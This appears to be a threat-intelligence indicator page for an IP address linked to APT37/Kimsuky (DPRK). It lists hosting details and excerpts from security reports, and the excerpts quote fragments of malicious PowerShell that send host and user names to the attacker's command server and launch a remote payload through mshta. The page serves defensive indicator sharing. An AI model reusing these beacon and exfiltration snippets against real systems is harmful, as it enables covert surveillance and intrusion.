75.119.136.207
75.119.136.207 is an IP address
that 4 published sources report
in connection with APT37 and Kimsuky activity, which public reporting
attributes to North Korea (DPRK).
It is cited here from AhnLab ASEC, wezard4u and 安恒信息.
The earliest of those reports is dated 2023-08-21 and the most recent 2023-09-01.
ip address APT37Kimsuky MATCHED IN SOURCE
Network
| Kind | data centre |
|---|---|
| Network | BroadbandONE |
| Announced by | AS51167 Contabo GmbH |
| Country | France |
| Flags | hosting range |
Sources
-
…일부이다. Start-Sleep -Seconds 67; $nvSklUbaQ = 1024 * 1024; $yixgsFVy = $env:COMPUTERNAME + '-' + $env:USERNAME+'-SH'; $aWw = 'http://75.119.136.207/config/bases/config.php' + '?U=' + $yixgsFVy; $bLmoifqHwJxhE = $env:TEMP + '/KsK'; if (!(Test-Path $bLmoifqHwJxhE)) { New-ItemProperty…
Backdoor를 유포하는 악성 LNK : RedEyes(ScarCruft) - ASEC — AhnLab ASEC -
…file. Start-Sleep -Seconds 67; $nvSklUbaQ = 1024 * 1024; $yixgsFVy = $env:COMPUTERNAME + '-' + $env:USERNAME+'-SH'; $aWw = 'http://75.119.136.207/config/bases/config.php' + '?U=' + $yixgsFVy; $bLmoifqHwJxhE = $env:TEMP + '/KsK'; if (!(Test-Path $bLmoifqHwJxhE)) { New-ItemProperty…
Distribution of Backdoor via Malicious LNK: RedEyes (ScarCruft) - ASEC — AhnLab ASEC -
…-Seconds 67; # 변수 설정 $nvSklUbaQ = 1024 * 1024; $yixgsFVy = $env:COMPUTERNAME + '-' + $env:USERNAME + '-SH'; # URL 생성 $aWw = 'http://75.119.136.207/config/bases/config.php' + '?U=' + $yixgsFVy; # 파일 경로 생성 $bLmoifqHwJxhE = $env:TEMP + '/KsK'; # 파일 경로가 존재하지 않으면 if (!(Test-Path…
김수키(Kimsuky) 한국 인터넷 진흥원(KISA) 사칭 악성코드-현황조사표.xlsx.lnk(2023.8.11) — wezard4u -
…运行的Powershell指令功能如下： 检查$env:TEMP/KsK目录是否存在，不存在则调用mshta.exe 执行http://bian0151.cafe24.com/admin/board/1.html 持续获取主机名以及用户名发送到http://75.119.136.207/config/bases/config.php，然后获取返回值，如果返回值中包含regedit:关键词，则将服务器返回的注册表键值写入注册表中…
ScarCruft针对韩国金融、高校下发Chinotto后门的攻击活动分析 - 安恒威胁情报中心 — 安恒信息
Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.